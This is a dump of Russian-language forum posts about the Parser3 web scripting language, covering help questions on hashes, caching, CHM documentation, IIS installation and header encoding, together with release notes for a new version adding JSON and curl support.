		value\
	FROM\
		${db-main}.goods_params\
}][/code]\
\
получить многомерный хеш вида\
\
[code]$pv_hash[ \
	$.gid[ \
		$.pid[value] \
		… \
	] \
	… \
] [/code]\
\
?\
\
Одним вариантом пробовал так\
[code]$pv_hash[^params_values.hash[gid][pid][$.distinct(1)]][/code]\
\
Но то ли потом у меня не получается достать значения, то ли еще что-то."
"73882","... если нужно сделать многомерный, то придется написать свою функцию, которая раскидает данные во вложенные конструкции. Функция буквально из нескольких простых строк. :)"
"73883","При этом придется использовать select или можно раскидать без него?"
"73885","Спасибо, я так и начал делать. Но правильно написать пока не получилось. Если бы хеш был одноуровневый или известны имена ключей, проблем было бы меньше. А как сделать мой вариант пока не понял.\
\
[code]$pv_hash[^hash::create[]] \
\
^params_values.menu{\
\
	$pv_h_gid[$params_values.gid]\
	$pv_h_pid[$params_values.pid]\
\
	$pv_hash[\
		$.$pv_h_gid[\
			$.$pv_h_pid[$params_values.value]\
		]\
	] \
\
}[/code]\
\
Код не правильный, понимаю. Но как его изменить в правильную сторону? Еще учитывая то, что у gid может быть (и должно) внутри несколько pid. Уже несколько раз перечитал справку по созданию хешей, и прошу помочь, если возможно. Я бы может быть сделал это с помощью селектов, пробежав по таблице собрав gid и отобрал бы потом туда pid, но это не лучший вариант."
"73886","Для чего дальше планируется его использовать? Если он вспомогательный, чисто для лукапов, эффективнее всего сделать так:\
\
$params_values[^oSql-main.table{\
	SELECT\
		concat(gid,'+',pid) as key,\
		value\
	FROM\
		${db-main}.goods_params\
}]\
\
И обращаться к $params_values.[$gid+$pid]"
"73887","В вашем коде вы затираете $pv_hash и записываете в него новый ключ на каждой итерации цикла. Вам нужно добавлять ключ:\
\
[code]$pv_hash.$pv_h_gid[\
  $.$pv_h_pid[$params_values.value]\
]\
[/code]\
[i]upd. тоже самое с pid-ми, раз их может быть несколько[/i]\
Не расскажете зачем вам вообще нужна такая конструкция и чем не угодила таблица или хэш таблиц?"
"73888","Именно для этого. Отличный вариант. Спасибо!"
"73889","Спасибо. Есть таблица с названиями параметров, есть таблица со значениями для этих параметров. При выведении списка товаров, нужно было достать параметры для каждого товара и значения для каждого из параметров."
"73890","возможно ли не в основном auto.p?\
т.е. в любом файле, при определенных условиях:\
\
[code]^if($isOk){\
	$LIMITS[\
		$.post_max_size(50*0x400*0x400)\
	]\
}\
\
^try{\
	^rem{вам нельзя загружать такие файлы :)}\
}[/code]\
\
в моем случае изменение post_max_size нужно только в определенной директории, поэтому я могу прописать в основном auto.p:\
\
[code]^if(in '/dir/'){\
	$LIMITS[\
		$.post_max_size(50*0x400*0x400)\
	]\
}{\
	$LIMITS[\
		$.post_max_size(10*0x400*0x400)\
	]\
}[/code]\
\
и это будет работать.\
Но все равно интересно -- возможно ли?"
"73891","Во всяком случае в текущей реализации - сейчас post запрос читается после основного auto.p и до выполнения всего остального кода. Теоретически можно перенести это действие на момент первого обращения к переданным данным ($form:field), но не совсем понятно что делать, если к ним вообще не будет обращения."
"73893","Передаю в форме две переменные. \
Принимаю $request:body.\
Получаю строку: переменная1=значение1&переменная2=значение2\
Мне нужны обе переменные по-отдельности. Как?"
"73894","Я перепробовал несколько chm-ридеров под mac, но ни один не смог нормально отобразить оглавление. Для самого текста кодировка автоопределяется, но в сайдбаре нечитаемые символы. Может быть, на utf-8 документацию перегнать, а то ж не возможно пользоваться?\
\
Тестировал в iChm, chmosx, Сhmox, ArCHMock, xchm (наоборот: показывает нормальный TOC с битой кодировкой в содержимом)."
"73896","Насколько я понял класс form будет работать только с переменными передаными через URI... Мне это совсем не подходит."
"73897","libxslt поддерживает dyn:evaluate, только осторожно используйте, а то после сами же запутаетесь, т.к. работа кода, возможно, будет неочевидна. Если же вы эти данные от пользователя принимаете, то вообще не советую использовать. Короче, я предупредил, если что (а лучше-таки опишите задачу, наверняка можно более правильное решение подыскать).\
\
http://exslt.org/dyn/functions/evaluate/index.html"
"73899","прога, которой мы генерим chm-ки (и не только) по умолчанию не добавляет информацию о кодировке в навигацию.\
\
мне кажется, что я добавлял её туда ручками, но возможно я ошибаюсь, и добавлял я её туда в какой-нить более древней версии chm-документации.\
\
переводить на utf-8 смысла не вижу, т.к. это будут всё равно ручные операции, только их будет ещё больше. да и основные пользователи chm -- win-юзеры, для которых кодировка 1251 -- родная и привычная (а формат этот -- от MS).\
\
если сообщите свой email, я могу прислать вам подправленную версию доки с указанной кодировкой в навигационном фрейме (но поможет ли это вашим читалкам я не знаю).\
\
ну и в любом случае есть ещё pdf и html версии документации."
"73900","$pv_hash[^params_values.hash[gid][$.distinct(1) $.type[table] ]]\
\
$hParams[^hash::create[]]\
^pv_hash.foreach[g;p]{\
	$hParams.[$g][^p.hash[pid][value][$.type[string]]]\
}"
"73901","Locale.p полностью переведён на русский и исправлен [url=\"http://narod.ru/disk/27567709000/locale.p.html\"]locale.p[/url]"
"73903","уже разобрался :) как оказалось ничего сложного в этом нет - из бизоновской грамматики вырезал весь код Си и ручками подкорректировал правила на antlr-ский лад. да оно и лучше, что я использую за основу родной парсер Парсера :)\
\
осталось немного переделать парсер, выкинуть много лишних правил и добавить обработчики в ява-коде, чтобы в итоге получить нужное синтаксическое дерево.\
\
результат моей работы не планировался быть закрытым."
"73904","Мне с лихвой достаточно решения, которое предложил Vint."
"73906","В примерах и документации я встречаю только загрузку результата выполнения запроса в таблицу.\
А как правильно выбрать заведомо одну запись из БД, например, по ID? Ведь загружать в таблицу единственную запись и итерироваться по ней с помощью menu выглядит как-то неправильно. Может есть возможность выбрать запись и далее сразу использовать ее, например, как объект?"
"73907","Если в таблице одна запись, то она автоматически будет доступна просто по $tab.поле1, $tab.поле2 и т.д. Фактически это будет выглядеть как готовый объект с нужными полями."
"73908","Ух ты, как много нам открытий чудных…\
Спасибо, красиво!"
"73909","Документация будет \"встроена\" и всегда дергаеться online версия. Если с каналом у вас нет проблем.\
Очень удобно.\
\
Если хотите — могу поделиться языковой моделью парсера под Coda."
"73910","Спасибо за наводку, будет время, обязательно попробую Коду. \
\
Вариант с он-лайн документацией меня скорее не устроит, т.к. там нет возможности поиска по индексу, что я использую в chm довольно часто.\
\
А что касается редактора (вы наверняка сочтете меня знающим толк в извращениях%), то я запускаю Far через Parallels, ничего не могу с собой поделать – привычка. На Мак же я перешел в первую очередь из-за того, чтобы домашний компьютер не напоминал о рабочем (ну, естественно, сейчас уже в процессе пользования много других причин добавилось, но решающим было именно это)."
"73911","Буду очень признателен: faxytel@ya.ru"
"73912","Мы как-то с тобой пробовали менять кодировку в навигации года два назад. Не помогло.\
\
Относительно pdf, поиск в нем тоже есть и работает но очень неудобен.\
Я очень редко заглядываю в доку, но все-же бывает, особенно когда редко пользуешься какими-то методами и надо быстро подсмотреть синтаксис.\
\
И вот тут-то и возникает проблема в pdf. Оглавления в просмотрщике на маке нет(не знаю как на винде, думаю что тоже нет), поиск как правило выдает столько результатов, что просто капец. При этом отображаются результаты в виде превью страничек, либо в виде номеров страниц с ранжированием по частоте совпадений. Первый результат оказывается далеко не тем что ты искал и приходится просматривать несколько страниц прежде чем попадешь в нужную.\
\
P.S. Сам использую CHM с кривой навигацией. По дереву кликаю по названиям классов :)"
"73913","да, точно. это мы с тобой пытались пофиксить работу chm на маке... только мне казалось, что там всё закончилось хорошо.\
\
я помню мало подробностей. но по крайней мере сейчас я вижу два места, где можно подкрутить.\
\
можно попробовать внедрить в pdf-ку оглавление, но не уверен, что это сильно облегчит жизнь, ведь основное -- это наверное поиск."
"73914","Оглавление – это тема. Оно дает тебе возможность в один два клика найти то что нужно, используя относительные маркеры :) Например: \"Что-то про таблицы, вторая страница сверху\".\
\
А поиск, он есть, но в МАК-стайле. К нему сложно привыкнуть."
"73916","Добрый день!\
\
Требуется программист на постоянную работу, возможно удаленно.\
Нужен человек с опытом.\
Кому интересно, пишите: ICQ: 284563712"
"73917","$text.txt[шо за хрень?]\
\
вместо знака вопроса какой-то \"_3F\" появляется после ^taint[file-spec][$text.txt]"
"73919","Лучше всего прочитать сначала документацию, привести более полный кусок кода, а потом уже задавать вопрос - сейчас сложно понять в чем конкретно проблема. :)"
"73920","Может все-таки опишите, что конкретно нужно получить?"
"73921","знак вопроса в переменную попадает из формы -- вот и всё собственно, там особого кода нету"
"73922","вывести на экран сайта поток с камеры"
"73923","Надо смотреть как камера выдает поток и ставить ее \"виджет\" к себе на сайт (это наверняка просто html-код или флешка). Если нагрузка большая, то, возможно надо сделать проксирование через веб-сервер, но это уже вопрос архитектуры, а не языка."
"73925","имеется ввиду вывести картинку с камеры пользователя пришедшего на сайт"
"73926","дать ему включить её и увидеть себя"
"73927","Судя по всему это можно попробовать сделать на Флеше или Сильверлайте."
"73929","Задача: кешировать данные (самое оптимальное в виде таблиц) с условием, что данными активно пользуются много юзеров и все это множество часто делают обновления данных в базе (читайте часто обновляют/убивают кеш). И конечно же этом может происходить парралельно. Различных наборов данных (таблиц) может быть много (и по кол-ву типов, и по объему) и конечно данные разделяются по пользователям — у каждого группы пользователей свой кеш и упаси боже что бы кто-то/как-то мог влезть в чужой кеш.\
Зачем: кеш должен помочь снизить кол-во запросов к базе, соотв. повысить скорость обработки запросов. Речь именно не о кеше страниц.\
Проект обитает на амазоне.\
\
Какое решение оптимальнее использовать для парсера? Поделитесь пожалуйста опытом."
"73930","Проще всего копать в эту сторону:\
\
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html\
\
Понятно, что так хранить можно только строки, все более сложное надо\
сериализовать. Например в XML или в JSON (в HEAD версии).\
\
Про проблемы с ключами не понял - просто идентификатор пользователя\
добавляется в ключ, и никаких проблем..."
"73931","универсальных решений не существует.\
\
как вы собираетесь кэшировать, если сами говорите, что данные очень часто обновляются и кэш надо обновлять?\
\
тут надо делать что-то распределённое и что будет быстро работать без кэша.\
\
кэш эффективен там, где долго вычисляемые данные можно сохранить и не считать повторно."
"73932","Вчера читал статью на хабре с этим способом. Пока напрягает только то, что под хранение данных и кеша используется одно решение. И как все это поведет себя при нагрузках — не ясно.\
У меня проблем с ключами нет, в MEMORY таблицах я тож особо не узрел таких сложностей.\
Единственное конечно вопрос сериализци, идеально было бы повесить кеширование результов запросов минуя парсер. Т.е. идет сначала запрос к кешу, если его нет или он устарел — выполняется запрос по данным и его результат автоматом идет в кеш и отдается парсеру.\
Все что через парсер в данном случае как лишняя прослойка: xml не блещет скоростью, json в HEAD :-) (мне так и не удалось скомпилировать хеад на маке :-( приходится ждать релиза)."
"73933","Да Миш, это факт, что по началу кеш не будет таким эффективным. Но особенность проекта в том, что со временем (через неделю/две/месяц) кол-во обновлений у группы пользователей резко будет падать, а кол-во использований будет возрастать. Именно поэтому кеш актуален.\
\
Для распределения базы будет использоваться RDS.\
Пока мне известно 2 решения: в файлой системе и в memory таблицах.  Файловая хороша тем, что весь инстанс в памяти, соотв. не так медленно, но как это поведет себя на коллективном обновлении — что-то очень сомнительно, что будет без проблем. \
Про memory таблицы написал коммент ниже: не очень нравится хранение данных и кеша в одном месте."
"73934","memory таблицы: какой прикидочный размер кэша? памяти-то хватит? кстати хранить можно не в одном месте, а на другом сервере (или memcached?) :)\
\
файловая система: файловые операции могут стать узким местом.\
\
а вы уверены, что вас не устроит кеш запросов mysql-я?"
"73935","Все просто: камера подключается к компьютеру с интернетом, в настройках камеры прописываешь реквизиты ftp сайта, куда надо размещать картинку. Вот и все. Камера скидывает на сервер картинку с определенным интервалом, а парсер ее выводит."
"73936","[quote]Пока напрягает только то, что под хранение данных и кеша используется одно решение. И как все это поведет себя при нагрузках — не ясно.[/quote]\
\
Не очень понимаю опасений. По мне так чем меньше разного софта, тем выше надежность. К mysql претензий по надежности не имеем. Вопрос скорее в том, сколько памяти вы готовы выделить под кеш. :)\
\
[quote]Т.е. идет сначала запрос к кешу, если его нет или он устарел — выполняется запрос по данным и его результат автоматом идет в кеш и отдается парсеру.[/quote]\
\
Если вы кешируете то, что отдается браузеру (html), то никаких проблем нет - какой-нибудь nginx и вперед. Но мне показалось, что речь шла о таблицах, поэтому не очень понятно о чьих запросах в кеш идет речь.\
\
[quote](мне так и не удалось скомпилировать хеад на маке :-( приходится ждать релиза).[/quote]\
\
Посмотрим, что там может быть не так (видимо какие-то мелочи), плюс может бету соберем и для мака тоже."
"73937","У меня все остановилось на этом: http://www.parser.ru/forum/?id=73733\
Т.к. на рабочей машине не собралось, под aws не пробовал."
"73938","Я уже давно \"забил\" на сборку Парсера под Мак. :) Во-первых это действительно несколько муторно - Эпл, как всегда, идет нестандартным путем. Во-вторых хостинг на маке мало у кого есть, поэтому возня с настройками отдельных конфигураций под мак и серверную систему не имеет особого смысла. \
\
Именно поэтому я просто поднимаю на виртуальной машине (Parallels Desktop) FreeBSD и разрабатываю прямо в ней (TextMate через ssh). Видимо для AWS надо будет какой-нибудь Linux поднять, хотя по моим ощущениям для разработчика полезнее FreeBSD и ее система \"портов\". Это очень здорово приближает разработку к \"боевой\" конфигурации, что очень полезно."
"73939","Но фак - параллелс это же еще то буэ, хотя вариантов судя по всему нет.\
На aws дебиан, но это не мешает вести разработку на маке — особой возни с конфигурацией как то не замечаю."
"73940","Ну ты понимаешь, что пока парсер с ним тесно не дружит — вариант с костылями особо не интересует. Давно пора включить в сборку патч Hexley. Вам оно конечно видней, но строить приложения на parser - python - memcached для работы с кешом мало кому захочется."
"73941","Штука вполне юзабельная. А вот с \"патчем Hexley\" беда - он для старой библиотеки написан и со сборкой есть сложности."
"73943","я тут изучил цены на colocation, прихренел, потом вовремя вспомнил, что у меня дома есть сервер с fixed IP и решил его настроить под свои цели. \
\
Попутно поупражнялся с установкой Parser3 ISAPI на  IIS 7.5 (Windows 7) и родил заодно описание процесса. \
\
Предлагаю в доке и в разделе \"скачать\" пометить, что ISAPI работает с IIS только по шестую версию включительно. На \"семёрке\" ISAPI-Парсер работает медленно, после нескольких запросов вгоняет вебсервер в ступор, который лечится только принудительным прибиванием всех процессов IIS или перезагрузкой. Помимо этого, ISAPI-версия неспособна открыть файлы с описанием кодировок никак, даже если путь ей прописать полностью.\
\
CGI-вариант устанавливаем через Handler mappings -> Add script map. \
\
Request path = \"*.html\", executable = \"c:\\inetpub\\parser3\\parser3.exe\", Name = \"Parser3\". В Request restrictions на вкладке Mapping оставляем только \"File\", на вкладке Verbs - \"GET, HEAD, POST\", на вкладке Access выбираем \"Script\". IIS переспросит, внести ли Парсер в список разрешённых программ - подтверждаем.\
\
В окне Handler mappings в меню справа видим пункт \"Edit feature permissions\", залезаем туда и отмечаем галкой \"Script\".\
\
Файлы дистрибутива вываливаем в \"c:\\inetpub\\parser3\". XML-библиотеки выгружаем в c:\\windows\\system32. Пользователю IIS_IUSRS даём права \"read & execute\" на папку с parser3.exe.\
\
Ещё стараемся не забыть в Request filtering - File name extensions запретить доступ к файлам *.cfg и *.p из браузера.\
\
Если у вас 64-битная система, гуглите по слову \"Enable32bitAppOnWin64\"\
\
В итоге в c:\\inetpub\\wwwroot\\web.config у нас получается:\
\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<configuration>\
    <system.webServer>\
        <urlCompression doStaticCompression=\"false\" />\
        <defaultDocument>\
            <files>\
                <clear />\
                <add value=\"index.html\" />\
            </files>\
        </defaultDocument>\
        <handlers>\
            <remove name=\"Parser3\" />\
            <add name=\"Parser3\" path=\"*.html\"\
             verb=\"GET,HEAD,POST\" modules=\"CgiModule\"\
             scriptProcessor=\"C:\\inetpub\\parser3\\parser3.exe\"\
             resourceType=\"File\" requireAccess=\"Script\" />\
        </handlers>\
        <security>\
            <requestFiltering>\
                <fileExtensions>\
                    <add fileExtension=\".p\" allowed=\"false\" />\
                    <add fileExtension=\".cfg\" allowed=\"false\" />\
                </fileExtensions>\
            </requestFiltering>\
        </security>\
    </system.webServer>\
</configuration>[/code]"
"73944","есть две страницы:\
http://alex-mryasov.ru/utf-8/match.html (отдает контент в кодировке UTF-8)\
http://alex-mryasov.ru/win-1251/match.html (отдает контент в кодировке WINDOWS-1251)\
содержание этих файлов одинаковое:[code]@main[]\
<b>27</b>[/code]\
\
есть файл [b]bug.html[/b]:\
[code]@main[][var;_tmp]\
\
$text[^file::load[text;http://alex-mryasov.ru/win-1251/match.html]]\
$_tmp[^text.text.match[<b>(\\d+)</b>][i]{$var($match.1)}]\
*$var*\
\
$text[^file::load[text;http://alex-mryasov.ru/utf-8/match.html]]\
$_tmp[^text.text.match[<b>(\\d+)</b>][i]{$var($match.1)}]\
*$var*[/code]\
\
который выдает: [quote]** *27* [/quote]\
\
любое придание [b]charset[/b] в опциях загрузки (даже неверное) на результат не влияет...\
\
[i]Parser/3.4.0 (compiled on i686-pc-linux-gnu)[/i]\
\
[b]P.S.[/b]: содержимое скрипта в win-1251"
"73945","Внимательнее надо быть. :) По факту в одном <b>27</b>, в другом <b>27<b>."
"73946","но \"проблема\" где-то рядом, с удаленного сервера не могу с помощью [url=\"http://www.parser.ru/docs/lang/?regexclass.htm\"]Regex[/url] получить нужное значение.\
попробую составить еще один [i]bug.html[/i] (хотя нутром чувствую, что не может быть такого, чтобы латинские символы и цифры отличались в кодировках :) )"
"73947","Доброе утро, форумчане!\
Подскажите как можно добавить строку в файл с уже существующими записями...\
Замучился ухищряться с подгрузкой этого файла и последующей перезаписью с добавленными значениями."
"73949","Спасибо, Миша. А я мучался =)\
...странно, в локальной справке нет этого в разделах, а через поиск нахожу...\
\
Ещё вопросик: как задержку поставить? Допустим загружаю страницы, граблю =) , как поставить задержку на загрузку?"
"73950","я не знаю, как вы ищите эту страницу в доке.\
я её вижу и в html доке (online) и в chm.\
String (класс) | Методы | save. Сохранение строки в файл\
\
вопрос про \"задержку на загрузку\" я не понял. вам хочется увеличить время ожидания загрузки запрошенного по http файла?\
если да, то это есть в [URL=/docs/lang/app1.htm]доке[/URL]"
"73951","Нет, я не про таймоут... я про задержку между загрузками...\
Но уже нашёл способ, - можно это с помощью date делать...\
Спасибо ещё раз!"
"73952","получаю вот такое сообщение:\
[code]out of memory: failed to reallocate to 1069057 bytes. heap_used=89804800, heap_free=143360, bytes_since_gc=91738424, total_bytes=91738424[/code]\
Это с Parser проблема или на сервере?"
"73953","Он \"отжирает\" 90 МегаБайт памяти и падает (навернякак хостер установил ограничение на максимальный объем памяти, доступной скриптам). Судя по всему вы не запускаете процедуру \"сборки мусора\" - в Парсере это не автоматический процесс."
"73955","Вот засада...\
Спасибо, Олег."
"73957","Но вызывается действительно как ^sleep(sec), например ^sleep(0.1)."
"73958","[code]@main[]\
\
^test_sleep(2)	<br />\
^test_sleep(1.9)	<br />\
^test_sleep(1.5)	<br />\
^test_sleep(1)	<br />\
^test_sleep(0.5)	<br />\
\
\
@test_sleep[n][status1;status2;time1;time2]\
$status1[$status:rusage] \
$time1($status1.tv_sec+^status1.tv_usec.double[]/1000000) \
\
^sleep($n)\
\
$status2[$status:rusage] \
$time2($status2.tv_sec+^status2.tv_usec.double[]/1000000) \
$result($time2 - $time1)[/code]\
Результат:\
[code]2.00004\
1.00002\
1.01565\
1.00002\
0 [/code]"
"73959","Не будем показывать пальцем, но это PAF умудрился дважды ошибиться в двухстрочном методе. :)\
\
Вот так работает:\
\
src\\classes\\op.C\
\
 static void _sleep_operator(Request& r, MethodParams& params) {\
        double seconds=params.as_double(0, \"seconds must be double\", r);\
-       pa_sleep((int)trunc(seconds), (int)trunc(seconds*1000));\
+       pa_sleep((int)trunc(seconds), (int)trunc((seconds-trunc(seconds))*1000000));\
  }\
\
Результат:\
\
2.0004\
1.90015\
1.49581\
1.00397\
0.499963\
\
Но увы, либо ждать беты, либо сами собирайте..."
"73960","Пытаюсь узнать когда произойдёт событие.\
\
[code]$difference($formatdate-$now)\
^switch[^math:ceiling($difference)]{\
	^case[0]{$weekday[сегодня,]}\
	^case[1]{$weekday[завтра,]}\
	^case[2]{$weekday[послезавтра,]}\
}[/code]\
\
В случае если сегодня получаю не \"0\", а \"-0\". Я делаю что-то не так?"
"73963","а active x, c++ он может запускать?"
"73964","Сформировать тег для ActiveX можно, как и любой другой, а запустить c++-программу можно через file::exec (но на сервере, естественно)."
"73965","Какую версию парсера ставить на голландский хостинг, если саппорт отвечает следущее:\
\
The server is running a Debian linux environment. Version is not\
available, the platform is updated regularly."
"73968","а хостинг поддерживает бинарные cgi?\
и хоть что-нить известно о системе? может там php есть с доступным phpinfo?\
\
P.S. точно закачивали в директорию, в которой разрешено выполнение cgi, закачивали в бинарном режиме, после закачивания размер файла оставался таким-же, и не забывали устанавливать бит executable?\
\
P.P.S. а вообще я бы послал такой хостинг. нафиг надо, чтобы после очередного апдейта что-нить отваливалось и они в качестве отмазки каждый раз присылали-бы подобные тексты."
"73971","Спасибо, а то у меня, как всегда, на пол страницы кода, чтоб реализовать простые вещи :)"
"73972","Подгружаю таблицу ^table::load[имя файла]\
...в таблице есть html-теги, они у меня выводятся как содержимое, а не как теги.\
...как можно их заставить выполнять то, для чего они предназначены?"
"73975","Новое:\
\
- Появилась встроенная поддержка json.\
парсит json-строку в хэш:\
[code]\
    ^json:parse[-json-строка-[;\
        $.double(false)              отключить встроенный парсинг чисел с плавающей точкой (по умолчанию включен)\
                                     в этом случае они попадут в результирующий объект как строки\
        $.distinct[first|last|all]   как будет происходить разбор дублирующихся ключей у объектов\
                                     first -- будет оставлен первый встретившийся элемент\
                                     last  -- будет оставлен последний встретившийся элемент\
                                     all   -- будут оставлены все элементы. при этом элементы, начиная со 2\
                                              получат числовые суффиксы (key_2 итд)\
                                     по умолчанию дублирующиеся ключи приведут к exception\
        $.object[method-junction]    пользовательский метод[ключ;объект], которому будут передаваться все разобранные\
                                     объекты и ключи объекта, метод возвращает новый объект\
    ]]\
[/code]\
 \
сериализует системный или пользовательский объект в json-строку:\
[code]\
    ^json:string[system or user object[;\
        $.skip-unknown(false)    отключить exception и выдавать 'null' при сериализации объектов с типами\
                                 отличных от void, bool, string, int, double, date, table, hash и file\
        $.indent(true)           форматировать результирующую строку табуляциями по глубине вложенности\
        $.date[sql-string|gmt-string|unix-timestamp]    формат вывода даты, по умолчанию -- sql-string\
        $.table[object|array|compact]    формат вывода таблицы, по умолчанию -- object\
                                 object: [{\"c1\":\"v11\",\"c2\":\"v12\",...},{\"c1\":\"v21\",\"c2\":\"v22\",...},...]\
                                 array:  [[\"c1\",\"c2\",...] || null (for nameless),[\"v11\",\"v12\",...],...]\
                                 compact:  [\"v11\" || [\"v11\",\"v12\",...],...]\
        $.file[text|base64]      вывести тело файла в указанном виде (по умолчание тело файла\
                                 не попадает в output)\
        $.тип[method-junction]   любой тип можно вывести с помощью пользовательского метода, который\
                                 должен принимать 3 параметра: ключ, объект данного типа и опции\
                                 вызова ^json:string[]\
    ]]\
[/code]\
\
- Появилась поддержка библиотеки curl (через которую можно работать с https серверами и устанавливать keep-alive соединения). \
Пример:\
[code]\
$f[^curl:load[\
	$.url[https://store.artlebedev.ru/?$query]\
        $.useragent[Parser3]\
        $.timeout(10)\
]]\
[/code]\
Список допустимых опций curl: http://curl.haxx.se/libcurl/c/curl_easy_setopt.html\
\
- Подключаемые через @USE/^use[] классы сначала ищутся относительно текущего файла, в котором эти @USE/^use[] написаны.\
\
- Теперь пользовательские методы могут принимать произвольное число параметров: @method[arg;*args] (внутри метода в переменной $args будет хэш с переданными параметрами).\
\
- Пользовательским методам теперь можно задать возможные типы вызова. В @OPTIONS можно указать параметр dynamic или static (по умолчанию, если не указано — any), который будет действовать на все методы, описываемые в файле. А определённым методам можно задать только статический тип вызова: @static:method[params].\
\
- У пользовательских классов можно определить default setter (@SET_DEFAULT[name;value]) — метод, который будет вызываться при записи в несуществующие поля объектов данного класса.\
\
- Оператор if теперь может иметь произвольное число «elseif» секций: ^if(a>0){1}(a==0){0}{-1}.\
\
- У классов отключено наследование метода @auto[]. Теперь если класс A имеет производные классы B и C, то его метод @auto[] в любом случае будет выполнен лишь единожды.\
\
- Класс void теперь полностью совместим с классом string, т.е. теперь можно вызывать функции строки у неопределённой переменной не проверяя её предварительно на определённость (def).\
\
- У класса hash появился метод ^хэш._at($index) (или ^хэш._at[first|last]), который можно использовать для доступа к элементу хэша с определённым индексом (элементы в хэше упорядочены начиная с версии 3.4.0).\
\
- Добавлен оператор ^apply-taint[[lang]]{...}, который приводит к сиюминутному преобразованию всех языковых кусочков в строке. Указанный язык (по умолчанию — as-is) применяется к грязным кусочком с неизвестным языком.\
\
- Появился метод для конвертирования чисел из одной системы исчисления в другую: ^math:convert[number](base-from;base-to).\
\
- Метод ^таблица.select(...)[опции] теперь понимает опции $.limit(X) и $.reverse(true|false).\
\
- У метода ^строка.match[...] появился необязательный четвёртый параметр, значение которого возвращается, если не было найдено совпадений с шаблоном.\
\
- Парсер теперь ругается на неизвестные ключи у ^строка.match[...].\
\
- Оператор ^js-unescape[...] теперь декодирует также символы, закодированные в виде \\uXXXX.\
\
- У метода ^file::base64[закодированное] теперь есть ещё один способ вызова (больше похожий на ^file::create[...]): ^file::base64[text|binary;имя файла;закодированное[;$.content-type[...]]].\
\
- Конструктор ^file::create[...] в опциях теперь понимает параметр $.content-type[...].\
\
- Добавлен метод ^reflection:copy[$src;$dest], который осуществляет копирование всех полей из $src в $dest.\
\
- Если при загрузке таблицы из файла в опции $.encloser или $.separator задано значение '#', то отключается удаление в загружаемом файле строк, начинающихся с этого символа (обычно они удаляются как комментарии).\
\
- Теперь пробельные символы, написанные в коде между методами, не попадают в результат.\
\
- В @МЕТАКОМАНДАХ теперь игнорируются пробельные символы в конце строки.\
\
- Небезопасная версия (grpunlim) теперь позволяет передавать скрптам, запускаемым через ^file::exec/cgi[...], переменные окружения с любыми именами.\
\
- У метода ^изображение.replace(color;color)[poligon] третий параметр теперь не обязателен. Если он не задан, то цвет заменяется у всего изображения.\
\
- Если при загрузке текстовых файлов или таблиц без опции $.charset у загружаемого файла обнаруживается BOM-код, то автоматически происходит его перекодирование из UTF-8 в $request:charset.\
\
- Версия скомпонована с последними версиями библиотек PCRE (8.10) и libxml2 (2.7.8).\
\
\
Багфиксы:\
\
- Теперь при вызове ^file::exec/cgi[...;parser3.cgi] не происходит зацикливания.\
\
- Исправлена ошибка, на некоторых системах приводящая к искажению данных.\
\
- Исправлена ошибка, из-за которой не работало обращение к $method-junction.CLASS_NAME.\
\
- Исправлена ошибка, из-за которой выдавалось невразумительное сообщение об ошибке при записи cookie со слишком большим значении expires.\
\
- В некоторых случаях, при выдаче исключений сообщалось «element can not be stored to stateless_class», хотя вместо «stateless_class» должен был указываться конкретный класс.\
\
- Исправлена ошибка, приводящая к core при отправке бинарных файлов в ^file::exec/cgi[...;http://сервер/;$.file[$file]].\
\
- Исправлена ошибка, приводящая к core в случае сборки парсера некоторыми компиляторами.\
\
- Исправлена ошибка, приводящая к core, если в строках оказывались символы \\0 (добиться такого было сложно, но всё-таки можно).\
\
- Исправлена ошибка, из-за которой метод ^таблица.locate[field;value] не понимал третий параметр с опциями.\
\
- Исправлена ошибка, из-за которой оператор ^sleep(...) не понимал дробных долей секунды.\
\
- Исправлена ошибка, из-за которой порядок элементов в $form:fields не был определён.\
\
- В библиотеке PCRE Исправлена ошибка, из-за которой неверно производился поиск буквы 'Ф' без учёта регистра."
"73976","http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.p\
http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.txt\
\
Опции у curl'а не самые очевидные. :)"
"73977","Большое вам спасибо. Я уже скачфыл locale.p и когда обновлю cms - выложу его с вашем locale.p\
\
скажите только что мне должно написать о вас в заголовке файля locale.p ?"
"73979","Идем в /usr/lib/\
Ищем текущую версию libcurl, например  если устновлен libcurl.4, то нужен файл libcurl.4.dylib — дублируем этот файл и переименовываем в libcurl.so\
И ^curl заработает"
"73980","должно дать тот же результат."
"73982","Следующий код формирует запрос с заголовком User-Agent, в котором значение обработано http-header. При этом никакой ^taint[as-is] не помогает. Как быть?\
\
[code]$file[^file::load[binary;$url][\
	$.headers[\
		$.User-Agent[Mozilla/5.0 (Macintosh^; U^; Intel Mac OS X 10.6^; ru^; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12]\
	]\
]\
[/code]"
"73983","Даже Referer приходит как http%3A//www.site.ru/, а должен http://www.site.ru/."
"73985","То, что отправка приведенного заголовка приводит к отправке \
[code]\"Mozilla/5.0%20%28Macintosh%3B%20U%3B%20Intel%20Mac%20OS%20X%2010.6%3B%20ru%3B%20rv%3A1.9.2.12%29%20Gecko/20101026%20Firefox/3.6.12\".[/code]\
\
А точнее - отменить замену \"спец. символов\" никак не получается."
"73986","А вот почему принимающая сторона не умеет разбирать http-заголовки - это уже вопрос не к Парсеру. Или все-таки умеет? :)\
\
p.s. Почитайте на досуге описание http-протокола - это очень интересно."
"73989","[code]Authorization: OAuth realm=\"Photos\",\
        oauth_consumer_key=\"dpf43f3p2l4k3l03\",\
        oauth_signature_method=\"HMAC-SHA1\",\
        oauth_timestamp=\"137131200\",\
        oauth_nonce=\"wIjqoS\",\
        oauth_callback=\"http%3A%2F%2Fprinter.example.com%2Fready\",\
        oauth_signature=\"74KNZJeDHnMBp0EMJ9ZHt%2FXKycU%3D\"\
[/code]"
"73990","Патч для curl-биндинга из 3.4.1 простой, а вот для file::load не все тривиально."
"73993","Здраствуйте уважаемые гуру и монстры парсера. Решил попробовать автоматизировать процесс формирования и управления объявлениями на яндекс.директе и прикрутить все это к действующему интернет-магазину, а учитывая что ничего кроме парсера и mysql я не знаю, собственно возник вопрос,  можно ли реализовать задуманное средствами парсера и если кто-то уже делал подобное ткните куда копать плиз. Заранее спасибо за ответ."
"73995","Привет всем!\
\
Система: ubuntu 10.04, 32 bit, apache 2.2.14.\
Парсеры:\
официальный Parser/3.2.1sp2 (compiled on i686-pc-linux-gnu)\
